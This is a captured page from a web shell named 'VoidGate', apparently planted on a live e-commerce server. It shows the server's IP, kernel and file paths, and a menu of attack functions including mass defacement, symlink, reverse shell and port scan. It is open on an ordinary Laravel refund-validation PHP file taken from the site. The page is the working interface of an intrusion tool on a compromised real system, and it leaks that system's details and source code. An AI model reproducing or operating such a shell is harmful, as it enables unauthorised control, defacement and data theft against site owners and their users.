ヤミRoot VoidGate
User / IP
:
216.73.217.162
Host / Server
:
15.235.182.215 / pollibazaar.com
System
:
Linux asia.cbnex.com 5.14.0-611.49.2.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Apr 30 09:05:08 EDT 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
pollibazaar
/
public_html
/
app
/
Http
/
Requests
/
Vendor
/
Viewing: RefundStatusRequest.php
<?php namespace App\Http\Requests\Vendor; use App\Traits\ResponseHandler; use Illuminate\Contracts\Validation\ValidationRule; use Illuminate\Contracts\Validation\Validator; use Illuminate\Foundation\Http\FormRequest; use Illuminate\Http\Exceptions\HttpResponseException; class RefundStatusRequest extends FormRequest { use ResponseHandler; /** * Determine if the user is authorized to make this request. */ public function authorize(): bool { return true; } /** * Get the validation rules that apply to the request. * * @return array<string, ValidationRule|array|string> */ public function rules(): array { return [ 'id' => 'required', 'refund_status' => 'required|in:pending,approved,rejected,refunded', 'approved_note' => $this->input('refund_status') == 'approved' ? 'required' : '', 'rejected_note' => $this->input('refund_status') == 'rejected' ? 'required': '', ]; } public function messages(): array { return [ 'approved_note.required' => translate('The_approved_note_field_is_required'), 'rejected_note.required' => translate('The_rejected_note_field_is_required'), ]; } protected function failedValidation(Validator $validator) { throw new HttpResponseException(response()->json(['errors' => $this->errorProcessor($validator)])); } }
Coded With 💗 by
0x6ick